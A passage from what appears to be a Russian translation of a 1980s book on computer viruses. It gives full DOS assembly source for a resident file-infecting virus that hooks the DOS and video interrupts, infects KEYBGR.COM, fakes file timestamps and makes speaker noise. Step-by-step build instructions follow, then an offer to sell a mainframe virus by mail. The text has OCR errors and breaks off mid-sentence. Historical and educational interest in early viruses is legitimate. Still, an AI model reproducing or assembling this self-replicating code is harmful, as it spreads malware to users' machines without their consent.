ORG 8OH
DTA DW 128 DUP(?) ; область передачи
; данных диска
ORG 071EH ; конец обычного
; файла
; KEYBGR.COM
XOR AX,AX
MOV ES,AX ; ES указывает на
; ABSO
ASSUME ES:ABSO
PUCH CS
POP DS
MOV AX,VIDEO_INT ; хранящиеся в памяти
; старые векторы
; прерывания
MOV BX,VIDEO_INT+2
MOV word ptr VIDEO_VECTOR,AX
MOV word ptr VIDEO_VECTOR+2,BX
MOV AX,DOS_INT
MOV BX,DOS_INT+2
MOV word ptr DOS_VECTOR,AX
MOV word ptr DOS_VECTOR+2,BX
CLI
MOV DOS_INT,OFFSET VIRUS ; новый вектор DOS
; указывает на
; VIRUS
MOV DOS_INT+2,CS
MOV VIDEO_INT,OFFSET DISEASE ; вектор VIDEO
; указывает на
; DISEASE
MOV VIDEO_INT+2,CS
STI
MOV AH,0
INT 1AH ; считать
; TimeOfDay
- 187 -
; (TOO)
MOV TIME_0,DX
LEA DX,VIRUS_ENDE
INT 27H ; программа
; завершается,
; но остается
; резидентом
VIDIO_VECTOR Dd (?)
DOS_VECTOR Dd (?)
ERROR_VECTOR DW 2 DUP(?)
TIME_0 DW ?
;
; Основная часть программы VIRUS :
;
; 1. Вызов системы AH=4BH ?
; Нет:---> 2.
; Да : Проверить KEYBGR.COM на указанном дисководе
; Файл уже заражен ?
; Да : ---> 3.
; Нет: внести вирус!
;
; 2. Передача управления в обычный DOS
;
RNDVAL DB 'bfhg' ; неактивен
ACTIVE DB 0 ; самый первый вирус
PRESET DB 0 ; неактивен!
DB 'A:'
FNAME DB 'KEYBGR COM'
DB 0
VIRUS PROC FAR
ASSUME CS:CODE, DS:NOTHING, ES:NOTHING
PUSH AX
PUSH CX
PUSH DX
- 188 -
MOV AH,0 ; проверить , прошло ли по
; крайней мере 15 мин.
INT 1AH ; с момента инициализации
SUB DX,TIME_0 ; (16384 такта датчика
CMP DX,16384 ; времени =15 мин.)
JL $3
MOV ACTIVE,1 ; если да, активизировать
; вирус
$3: POP DX
POP CX
POP AX
; доступ к дискете через
; команду
CMP AX,4B00H ; DOS
JE $1 ; "загрузить и выполнить
; программу"
EXIT_1: JMP DOS_VECTOR ; Нет : ---> обычное положение
$1: PUSH ES ; ES:BS ---> блок параметров
PUSH BX ; DS:DX ---> имя файла
PUSH DX ; сохраненные регистры, которые
; пока не нужны для INT 21H
PUSH DX ; (AH=4BH)
MOV DI,DX
MOV DRIVE,0 ; Задать дисковод для
MOV AL,DS: DI+1 ; подлежащей исполнению
; программы
CMP AL,':'
JNE $5
MOV AL,DS: DI
SUB AL, 'A'-1
MOV DRIVE,AL
$5:
CLD
- 189 -
PUSH CS
POP DS
XOR AX,AX
MOV ES,AX
ASSUME DS: CODE, ES:ASSO
MOV AX,ERROR_INT ; проигнорировать все
; "ошибки" дискеты с
MOV BX,ERROR_INT+2 ; помощью собственной
; программы обработки
; ошибок
MOV ERROR_VECTOR,AX
MOV ERROR_VECTOR+2,BX
MOV ERROR_INT,OFFSET ERROR
MOV ERROR_INT+2,CS
PUSH CS
POP ES
ASSUME ES:CODE
LEA DX,DTA ; область передачи данных
; диска выбрать
MOV AH,1AH
INT 21H
MOV BX,11 ; передать имя файла
$2:
MOV AL,FNAME-1 BX
MOV FSPEC-1 BX,AL ; в блок управления
; файлом
DEC BX
JNZ $2
LEA DX,FCB ; открыть файл (для
MOV AH,0FH ; записи)
INT 21H
CMP AL,0
JNE EXIT_0 ; файл не существует
;---> завершение
mov byte ptr fcb+20h,0 ;
- 190 -
MOV AX,FTIME ; файл уже заражен?
CMP AX,4800H
JE EXIT_0 ; Да ---> завершение
MOV PRESET,1 ; ( все копии
; заражены!)
MOV SI,100H ; записать вирус
; в файл
$4:
LEA DI,DTA
MOV CX,128
REP MOVSB
LEA DX,FCB
MOV AH,15H
INT 21H
CMP SI,OFFSET VIRUS_ENDE
JL $4
MOV FSIZE,OFFSET VIRUS_ENDE-100H
MOV FSIZE+2,0 ; задать корректный
; размер файла
MOV FDATE,0AA3H ; задать корректную
; дату(03.05.86)
MOV FTIME,4800H ; задать корректное
; время (09:00:00)
LEA DX,FCB ; закрыть файл
MOV AH,10H
INT 21H
XOR AX,AX
MOV ES,AX
ASSUME ES:ABSO
MOV AX,ERROR_VECTOR ; сбросить прерывание
; по ошибке
MOV BX,ERROR_VECTOR+2
MOV ERROR_INT,AX
MOV ERROR_INT+2,BX
EXIT_0:
POP DX ; восстановить значение
- 191 -
; сохраненного регистра
POP DS
POP BX
POP ES
ASSUME DS:NOTHING, ES:NOTHING
MOV AX,4B00H
JMP DOS_VECTOR ; нормальное выполнение
; функции
VIRUS ENDS
ERROR PROC FAR
IRET ; просто игнорировать
; все ошибки
ERROR ENDP
DISEASE PROC FAR
ASSUME DS:NOTHING, ES:NOTHING
PUSH AX
PUSH CX ; этот регистр
; разрушается !
TEST PRESET,1
JZ EXIT_2
TEST ACTIVE,1
JZ EXIT_2
IN AL,61H ; включить динамик
AND AL,0FEH ; (бит 0:=0)
OUT 61H,AL
MOV CX,3 ; счетчик циклов СХ
NOISE:
MOV AL,RNDVA ; :
XOR AL,RNDVAL+3 ; :
SHL AL,1 ; сгенерировать шум
SHL AL,1 ; :
RCL WORD PRT RNDVAL,1 ; :
RCL WORD PRT RNDVAL+2,1 ; :
- 192 -
MOV AH,RNDVAL
AND AH,2 ; вывод любого
IN AL,61H ; бита сдвигового
AND AL,OFDH ; регистра с
OR AL,AH ; положительной
OUT 61H,AL ; обратной связью
LOOP NOISE ;---> динамик шумит
AND AL,OFCH ; динамик отключить
OR AL,1
OUT 61H,AL
EXIT_2:
POP CX
POP AX
JMP VIDEO_VECTOR ; переход в обычную
; программу
DISEASE ENDP
DB 'Эта программа является так называемой программой-'
DB 'вирусом. Однажды активированная, она берет под '
DB 'свой контроль все системные устройства и даже '
DB 'выбранную пользователем запоминающую среду. Она '
DB 'самостоятельно копируется в пока незараженную '
DB 'операционную систему и тем самым распространяется'
DB 'бесконтрольно. В этом случае вирус не разрушает '
DB 'программы пользователя или запоминающую среду, '
DB 'а лишь проявляет "филантропические" наклонности '
DB 'своего создателя...'
ORG 1C2AH
VIRUS_ENDE LABEL BYTE
CODE ENDS
END
Как получить работоспособную программу:
1. исходную программу ассемблировать и линковать (связать)
- 193 -
2. Переименовать EXE-файл в СОМ-файл!
3. Загрузить переименованный ЕХЕ-файл в DEBUG
4. Уменьшить значение регистра СХ на 300Н
5. С помощью команды "w" записать в СОМ-файл на диск
6. Загрузить СОМ-файл с вирусом в DEBUG
7. Дозагрузить КEYBGR.COM
8. Следующим образом изменить адрес 71Еh
71EH: 33 CO 8E 0E 1F 26
9. Записать файл КEYBGR.COM длиной 1В2А на диск.
На вопросы относительно программы "час пик" Вам ответить ее
создатель Б. Фикс, если Вы обратитесь по адресу:
B.Fix, Marienburger Str.1; 6900 Heidelberg-Kichheim
Следующая написанная Б.Фиксом программа-вирус работает в
среде операционной системы MVS/370 на IBM 30хх, написана на
ассемблере OS/VS2 и может быть использована описанным ниже спосо-
бом.
Поскольку такого рода программа не должна распространяться
бесконтрольно, покупателю придется пойти на некоторые уступки:
1. Прислать письменный запрос по адресу:
B.Fix
Marienburgerst. 1
6900 Heidelberg
2. Отправитель запроса получит свой заказ с доставкой на дом,
приняв на себя обязательства ни в какой форме не передавать
никому распечатку программы.
3. Получатель оба договора отправляет по указанному адресу.
4. После поступления договоров и оплаченного счета автору прог-
раммы покупатель получит один экземпляр договора и распечат-
ку программы.
Мы просим Вас с пониманием отнестись к этому несколько нео-
бычному порядку выполнения заказа, поскольку он вызван причинами
чрезвычайно сложного устранения последствий внедрения вируса в
такого рода машиннвх.
Теперь о том, как Б.Фикс описывает VP/360: "Прежде всего
программа должна позволить на конкретном примере получить предс-
тавление о принципе работы компьютерных вирусов системным програ-
ммистам, никогда ранее не имевшим опыта общения с ними. Правда,
- 194 -
для этого требуется иметь определенное представление о компьюте-